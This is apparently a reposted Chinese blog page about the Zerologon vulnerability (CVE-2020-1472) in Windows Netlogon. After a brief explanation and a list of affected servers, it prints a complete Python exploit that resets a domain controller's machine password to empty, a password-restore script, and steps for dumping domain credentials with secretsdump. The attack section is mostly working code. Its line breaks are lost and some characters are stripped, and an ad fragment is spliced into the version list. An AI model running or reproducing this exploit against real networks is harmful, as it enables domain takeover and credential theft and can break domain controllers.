CVE-2020-1472-poc-exp​

CVE-2020-1472-poc-exp​

“上个月,microsoft修复了一个非常有趣的漏洞,该漏洞使在您内部网络中立足的攻击者基本上可以一键成为domain admin。从攻击者的角度来看,所需要做的只是连接到域控制器”

漏洞背景

Secura的安全专家Tom Tervoort以前曾在去年发现一个不太严重的Netlogon漏洞,该漏洞使工作站可以被接管,但攻击者需要一个中间人(PitM)才能正常工作。现在,他在协议中发现了第二个更为严重的漏洞(CVSS分数:10.0)。通过伪造用于特定Netlogon功能的身份验证令牌,他能够调用一个功能以将域控制器的计算机密码设置为已知值。之后,攻击者可以使用此新密码来控制域控制器并窃取域管理员的凭据。

该漏洞源于Netlogon远程协议所使用的加密身份验证方案中的一个缺陷,该缺陷可用于更新计算机密码。此缺陷使攻击者可以模拟任何计算机,包括域控制器本身,并代表他们执行远程过程调用。

漏洞简介

NetLogon组件 是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。

当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。

受影响的版本

· Windows Server 2008 R2 for x64-based Systems Service Pack 1

· Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

· Windows Server 2012

· Windows Server 2012 (Server Core installation)

· Windows Server 2012 R2

· Windows Server 2012 R2 (Server Core installation)

· Windows Server 2016

· Windows Server 2016 (Server Core installation)

· Windows Server 2019

· Windows Server 2019 (Server Core installation)

· Windows Server, version 1903 (Server Core installation)

· Windows Server, version 1909 (Server Core installation)

2020圣诞节倒计时页面动画特效 2020圣诞节倒计时页面动画特效

2020圣诞节倒计时页面动画特效 206 查看详情 2020圣诞节倒计时页面动画特效

· Windows Server, version 2004 (Server Core installation)

攻击示例:

CVE-2020-1472-poc-exp​

使用方法

· 使用IP和DC的netbios名称运行cve-2020-1472-exploit.py

· DCsec与secretsdump,使用-just-dc-no-pass或空哈希以及DCHOSTNAME$帐户

cve-2020-1472-exploit.py代码语言:javascript代码运行次数:0运行复制

#!/usr/bin/env python3from impacket.dcerpc.v5 import nrpc, epmfrom impacket.dcerpc.v5.dtypes import NULLfrom impacket.dcerpc.v5 import transportfrom impacket import cryptoimport hmac, hashlib, struct, sys, socket, timefrom binascii import hexlify, unhexlifyfrom subprocess import check_call# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.MAX_ATTEMPTS = 2000 # False negative chance: 0.04%def fail(msg):  print(msg, file=sys.stderr)  print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)  sys.exit(2)def try_zero_authenticate(dc_handle, dc_ip, target_computer):  # Connect to the DC's Netlogon service.  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()  rpc_con.connect()  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)  # Use an all-zero challenge and credential.  plaintext = b'' * 8  ciphertext = b'' * 8  # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.  flags = 0x212fffff  # Send challenge and authentication request.  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '', target_computer + '', plaintext)  try:    server_auth = nrpc.hNetrServerAuthenticate3(      rpc_con, dc_handle + '', target_computer + '$', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,      target_computer + '', ciphertext, flags    )    # It worked!    assert server_auth['ErrorCode'] == 0    return rpc_con  except nrpc.DCERPCSessionError as ex:    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.    if ex.get_error_code() == 0xc0000022:      return None    else:      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')  except BaseException as ex:    fail(f'Unexpected error: {ex}.')def exploit(dc_handle, rpc_con, target_computer):    request = nrpc.NetrServerPasswordSet2()    request['PrimaryName'] = dc_handle + ''    request['AccountName'] = target_computer + '$'    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel    authenticator = nrpc.NETLOGON_AUTHENTICATOR()    authenticator['Credential'] = b'' * 8    authenticator['Timestamp'] = 0    request['Authenticator'] = authenticator    request['ComputerName'] = target_computer + ''    request['ClearNewPassword'] = b'' * 516    return rpc_con.request(request)def perform_attack(dc_handle, dc_ip, target_computer):  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.  print('Performing authentication attempts...')  rpc_con = None  for attempt in range(0, MAX_ATTEMPTS):    rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)    if rpc_con == None:      print('=', end='', flush=True)    else:      break  if rpc_con:    print('Target vulnerable, changing account password to empty string')    result = exploit(dc_handle, rpc_con, target_computer)    print('Result: ', end='')    print(result['ErrorCode'])    if result['ErrorCode'] == 0:        print('Exploit complete!')    else:        print('Non-zero return code, something went wrong?')  else:    print('Attack failed. Target is probably patched.')    sys.exit(1)if __name__ == '__main__':  if not (3 <= len(sys.argv) <= 4):    print('Usage: zerologon_tester.py  ')    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Resets the DC account password to an empty string when vulnerable.')    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')    sys.exit(1)  else:    [_, dc_name, dc_ip] = sys.argv    dc_name = dc_name.rstrip('$')    perform_attack('\' + dc_name, dc_ip, dc_name)

请注意:

默认情况下,这会更改域控制器帐户的密码。是的,这允许您进行DCSync,但同时也会中断与其他域控制器的通信,因此请当心!

恢复步骤:

如果您确保secretsdump 中的这一行通过(if True:例如使它通过),secretsdump还将从注册表中转储纯文本(十六进制编码)计算机帐户密码。您可以通过在同一DC上运行它并使用DA帐户来执行此操作。

或者,您可以通过首先解压缩注册表配置单元然后脱机运行secretsdump来转储相同的密码(然后它将始终打印明文密钥,因为它无法计算Kerberos哈希,这省去了修改库的麻烦)。

使用此密码,您可以restorepassword.py使用-hexpass参数运行。这将首先使用空密码向同一DC进行身份验证,然后将密码重新设置为原始密码。确保再次提供netbios名称和IP作为目标,例如:

代码语言:javascript代码运行次数:0运行复制

python restorepassword.py testsegment/s2016dc@s2016dc -target-ip 192.168.222.113 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3...etc

restorepassword.py

代码语言:javascript代码运行次数:0运行复制

#!/usr/bin/env python# By @_dirkjan# Uses impacket by SecureAuth Corp# Based on work by Tom Tervoort (Secura)import sysimport loggingimport argparseimport codecsfrom impacket.examples import loggerfrom impacket import versionfrom impacket.dcerpc.v5.nrpc import NetrServerPasswordSet2Response, NetrServerPasswordSet2from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWEDfrom impacket.dcerpc.v5.rpcrt import DCERPCExceptionfrom impacket.dcerpc.v5.dtypes import NULLfrom impacket.dcerpc.v5 import transportfrom impacket.dcerpc.v5 import epm, nrpcfrom Cryptodome.Cipher import AESfrom binascii import unhexlifyfrom struct import pack, unpackclass ChangeMachinePassword:    KNOWN_PROTOCOLS = {        135: {'bindstr': r'ncacn_ip_tcp:%s',           'set_host': False},        139: {'bindstr': r'ncacn_np:%s[PIPEetlogon]', 'set_host': True},        445: {'bindstr': r'ncacn_np:%s[PIPEetlogon]', 'set_host': True},        }    def __init__(self, username='', password='', domain='', port = None,                 hashes = None, domain_sids = False, maxRid=4000):        self.__username = username        self.__password = password        self.__port = port        self.__maxRid = int(maxRid)        self.__domain = domain        self.__lmhash = ''        self.__nthash = ''        self.__domain_sids = domain_sids        if hashes is not None:            self.__lmhash, self.__nthash = hashes.split(':')    def dump(self, remoteName, remoteHost):        stringbinding = epm.hept_map(remoteName, nrpc.MSRPC_UUID_NRPC, protocol = 'ncacn_ip_tcp')        logging.info('StringBinding %s'%stringbinding)        rpctransport = transport.DCERPCTransportFactory(stringbinding)        dce = rpctransport.get_dce_rpc()        dce.connect()        dce.bind(nrpc.MSRPC_UUID_NRPC)        resp = nrpc.hNetrServerReqChallenge(dce, NULL, remoteName + '', b'12345678')        serverChallenge = resp['ServerChallenge']        ntHash = unhexlify(self.__nthash)        # Empty at this point        self.sessionKey = nrpc.ComputeSessionKeyAES('', b'12345678', serverChallenge)        self.ppp = nrpc.ComputeNetlogonCredentialAES(b'12345678', self.sessionKey)        try:            resp = nrpc.hNetrServerAuthenticate3(dce, '\' + remoteName + '', self.__username + '$', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,remoteName + '',self.ppp, 0x212fffff )        except Exception as e:            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:                raise        self.clientStoredCredential = pack('<Q', unpack('<Q',self.ppp)[0] + 10)        request = NetrServerPasswordSet2()        request['PrimaryName'] = '\' + remoteName + ''        request['AccountName'] = remoteName + '$'        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel        request['Authenticator'] = self.update_authenticator()        request['ComputerName'] = remoteName + ''        encpassword = nrpc.ComputeNetlogonCredentialAES(self.__password, self.sessionKey)        indata = b'' * (512-len(self.__password)) + self.__password + pack('<L', len(self.__password))        request['ClearNewPassword'] = nrpc.ComputeNetlogonCredentialAES(indata, self.sessionKey)        result = dce.request(request)        print('Change password OK')    def update_authenticator(self, plus=10):        authenticator = nrpc.NETLOGON_AUTHENTICATOR()        authenticator['Credential'] = nrpc.ComputeNetlogonCredentialAES(self.clientStoredCredential, self.sessionKey)        authenticator['Timestamp'] = plus        return authenticator# Process command-line arguments.if __name__ == '__main__':    # Init the example's logger theme    logger.init()    # Explicitly changing the stdout encoding format    if sys.stdout.encoding is None:        # Output is redirected to a file        sys.stdout = codecs.getwriter('utf8')(sys.stdout)    print(version.BANNER)    parser = argparse.ArgumentParser()    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')    group = parser.add_argument_group('connection')    group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. '                       'If omitted it will use whatever was specified as target. This is useful when target is the '                       'NetBIOS name and you cannot resolve it')    group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port",                       help='Destination port to connect to SMB Server')    group.add_argument('-domain-sids', action='store_true', help='Enumerate Domain SIDs (will likely forward requests to the DC)')    group = parser.add_argument_group('authentication')    group.add_argument('-hexpass', action="store", help='Hex encoded plaintext password')    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')    group.add_argument('-no-pass', action="store_true", help='don't ask for password (useful when proxying through smbrelayx)')    if len(sys.argv)==1:        parser.print_help()        sys.exit(1)    options = parser.parse_args()    import re    domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(        options.target).groups('')    #In case the password contains '@'    if '@' in remoteName:        password = password + '@' + remoteName.rpartition('@')[0]        remoteName = remoteName.rpartition('@')[2]    if domain is None:        domain = ''    if password == '' and options.hexpass != '':        password = unhexlify(options.hexpass)    if password == '' and username != '' and options.hashes is None and options.no_pass is False:        from getpass import getpass        password = getpass("Password:")    if options.target_ip is None:        options.target_ip = remoteName    action = ChangeMachinePassword(username, password, domain, int(options.port), options.hashes, options.domain_sids)    action.dump(remoteName, options.target_ip)

Github项目地址:

https://github.com/dirkjanm/CVE-2020-1472

参考:

https://www.freebuf.com/articles/system/249860.html

https://www.ddosi.com/b393/

为了安全请将工具放在虚拟机运行!

作者不易!请点一下关注再走吧!

此文章仅供学习参考,不得用于违法犯罪!

以上就是CVE-2020-1472-poc-exp​的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/321080.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2025年11月5日 09:49:02
下一篇 2025年11月5日 09:50:54

相关推荐

  • 如何解决本地图片在使用 mask JS 库时出现的跨域错误?

    如何跨越localhost使用本地图片? 问题: 在本地使用mask js库时,引入本地图片会报跨域错误。 解决方案: 要解决此问题,需要使用本地服务器启动文件,以http或https协议访问图片,而不是使用file://协议。例如: python -m http.server 8000 然后,可以…

    2025年12月24日
    200
  • CSS元素设置em和transition后,为何载入页面无放大效果?

    css元素设置em和transition后,为何载入无放大效果 很多开发者在设置了em和transition后,却发现元素载入页面时无放大效果。本文将解答这一问题。 原问题:在视频演示中,将元素设置如下,载入页面会有放大效果。然而,在个人尝试中,并未出现该效果。这是由于macos和windows系统…

    2025年12月24日
    200
  • 如何模拟Windows 10 设置界面中的鼠标悬浮放大效果?

    win10设置界面的鼠标移动显示周边的样式(探照灯效果)的实现方式 在windows设置界面的鼠标悬浮效果中,光标周围会显示一个放大区域。在前端开发中,可以通过多种方式实现类似的效果。 使用css 使用css的transform和box-shadow属性。通过将transform: scale(1.…

    2025年12月24日
    200
  • 如何用HTML/JS实现Windows 10设置界面鼠标移动探照灯效果?

    Win10设置界面中的鼠标移动探照灯效果实现指南 想要在前端开发中实现类似于Windows 10设置界面的鼠标移动探照灯效果,有两种解决方案:CSS 和 HTML/JS 组合。 CSS 实现 不幸的是,仅使用CSS无法完全实现该效果。 立即学习“前端免费学习笔记(深入)”; HTML/JS 实现 要…

    2025年12月24日
    000
  • 如何用前端实现 Windows 10 设置界面的鼠标移动探照灯效果?

    如何在前端实现 Windows 10 设置界面中的鼠标移动探照灯效果 想要在前端开发中实现 Windows 10 设置界面中类似的鼠标移动探照灯效果,可以通过以下途径: CSS 解决方案 DEMO 1: Windows 10 网格悬停效果:https://codepen.io/tr4553r7/pe…

    2025年12月24日
    000
  • 如何用前端技术实现Windows 10 设置界面鼠标移动时的探照灯效果?

    探索在前端中实现 Windows 10 设置界面鼠标移动时的探照灯效果 在前端开发中,鼠标悬停在元素上时需要呈现类似于 Windows 10 设置界面所展示的探照灯效果,这其中涉及到了元素外围显示光圈效果的技术实现。 CSS 实现 虽然 CSS 无法直接实现探照灯效果,但可以通过以下技巧营造出类似效…

    2025年12月24日
    000
  • 使用 Mask 导入本地图片时,如何解决跨域问题?

    跨域疑难:如何解决 mask 引入本地图片产生的跨域问题? 在使用 mask 导入本地图片时,你可能会遇到令人沮丧的跨域错误。为什么会出现跨域问题呢?让我们深入了解一下: mask 框架假设你以 http(s) 协议加载你的 html 文件,而当使用 file:// 协议打开本地文件时,就会产生跨域…

    2025年12月24日
    200
  • 苹果浏览器网页背景图色差问题:如何解决背景图不一致?

    网页背景图在苹果浏览器上出现色差 一位用户在使用苹果浏览器访问网页时遇到一个问题,网页上方的背景图比底部的背景图明显更亮。 这个问题的原因很可能是背景图没有正确配置 background-size 属性。在 windows 浏览器中,背景图可能可以自动填满整个容器,但在苹果浏览器中可能需要显式设置 …

    2025年12月24日
    400
  • 苹果浏览器网页背景图像为何色差?

    网页背景图像在苹果浏览器的色差问题 在不同浏览器中,网站的背景图像有时会出现色差。例如,在 Windows 浏览器中显示正常的上层背景图,在苹果浏览器中却比下层背景图更亮。 问题原因 出现此问题的原因可能是背景图像未正确设置 background-size 属性。 解决方案 为确保背景图像在不同浏览…

    2025年12月24日
    300
  • 苹果电脑浏览器背景图亮度差异:为什么网页上下部背景图色差明显?

    背景图在苹果电脑浏览器上亮度差异 问题描述: 在网页设计中,希望上部元素的背景图与页面底部的背景图完全对齐。而在 Windows 中使用浏览器时,该效果可以正常实现。然而,在苹果电脑的浏览器中却出现了明显的色差。 原因分析: 如果您已经排除屏幕分辨率差异的可能性,那么很可能是背景图的 backgro…

    2025年12月24日
    000
  • 正则表达式在文本验证中的常见问题有哪些?

    正则表达式助力文本输入验证 在文本输入框的验证中,经常遇到需要限定输入内容的情况。例如,输入框只能输入整数,第一位可以为负号。对于不会使用正则表达式的人来说,这可能是个难题。下面我们将提供三种正则表达式,分别满足不同的验证要求。 1. 可选负号,任意数量数字 如果输入框中允许第一位为负号,后面可输入…

    2025年12月24日
    000
  • 如何在 VS Code 中解决折叠代码复制问题?

    解决 VS Code 折叠代码复制问题 在 VS Code 中使用折叠功能可以帮助组织长代码,但使用复制功能时,可能会遇到只复制可见部分的问题。以下是如何解决此问题: 当代码被折叠时,可以使用以下简单操作复制整个折叠代码: 按下 Ctrl + C (Windows/Linux) 或 Cmd + C …

    2025年12月24日
    000
  • 使用 React 构建 Fylo 云存储网站

    介绍 在这篇博文中,我们将逐步介绍如何使用 react 创建一个功能丰富的云存储网站。该网站受 fylo 启发,提供了主页、功能、工作原理、感言和页脚等部分。在此过程中,我们将讨论用于构建这个完全响应式网站的结构、组件和样式。 项目概况 该项目由多个部分组成,旨在展示云存储服务。每个部分都是用 re…

    2025年12月24日 好文分享
    000
  • 使用 React 构建食谱查找器网站

    介绍 在本博客中,我们将使用 react 构建一个食谱查找网站。该应用程序允许用户搜索他们最喜欢的食谱,查看趋势或新食谱,并保存他们最喜欢的食谱。我们将利用 edamam api 获取实时食谱数据并将其动态显示在网站上。 项目概况 食谱查找器允许用户: 按名称搜索食谱。查看趋势和新添加的食谱。查看各…

    2025年12月24日 好文分享
    200
  • 为什么多年的经验让我选择全栈而不是平均栈

    在全栈和平均栈开发方面工作了 6 年多,我可以告诉您,虽然这两种方法都是流行且有效的方法,但它们满足不同的需求,并且有自己的优点和缺点。这两个堆栈都可以帮助您创建 Web 应用程序,但它们的实现方式却截然不同。如果您在两者之间难以选择,我希望我在两者之间的经验能给您一些有用的见解。 在这篇文章中,我…

    2025年12月24日
    000
  • 姜戈顺风

    本教程演示如何在新项目中从头开始配置 django 和 tailwindcss。 django 设置 创建一个名为 .venv 的新虚拟环境。 # windows$ python -m venv .venv$ .venvscriptsactivate.ps1(.venv) $# macos/linu…

    2025年12月24日
    000
  • 不可变数据结构:ECMA 4 中的记录和元组

    不可变数据结构:ecmascript 2024 中的新功能 ecmascript 2024 引入了几个令人兴奋的更新,但对我来说最突出的一个功能是引入了不可变数据结构。这些新结构——记录和元组——改变了 javascript 中数据管理的游戏规则。它们提供了一种令人满意的方式来保持我们的数据健全、安…

    2025年12月24日
    100
  • 花 $o 学习这些编程语言或免费

    → Python → JavaScript → Java → C# → 红宝石 → 斯威夫特 → 科特林 → C++ → PHP → 出发 → R → 打字稿 []https://x.com/e_opore/status/1811567830594388315?t=_j4nncuiy2wfbm7ic…

    2025年12月24日
    000
  • 项目实践:如何结合CSS和JavaScript打造优秀网页的经验总结

    项目实践:如何结合CSS和JavaScript打造优秀网页的经验总结 随着互联网的快速发展,网页设计已经成为了各行各业都离不开的一项技能。优秀的网页设计可以给用户留下深刻的印象,提升用户体验,增加用户的黏性和转化率。而要做出优秀的网页设计,除了对美学的理解和创意的运用外,还需要掌握一些基本的技能,如…

    2025年12月24日
    200
  • 学完HTML和CSS之后我应该做什么?

    网页开发是一段漫长的旅程,但是掌握了HTML和CSS技能意味着你已经赢得了一半的战斗。这两种语言对于学习网页开发技能来说非常重要和基础。现在不可或缺的是下一个问题,学完HTML和CSS之后我该做什么呢? 对这些问题的答案可以分为2-3个部分,你可以继续练习你的HTML和CSS编码,然后了解在学习完H…

    2025年12月24日
    000

发表回复

登录后才能评论
关注微信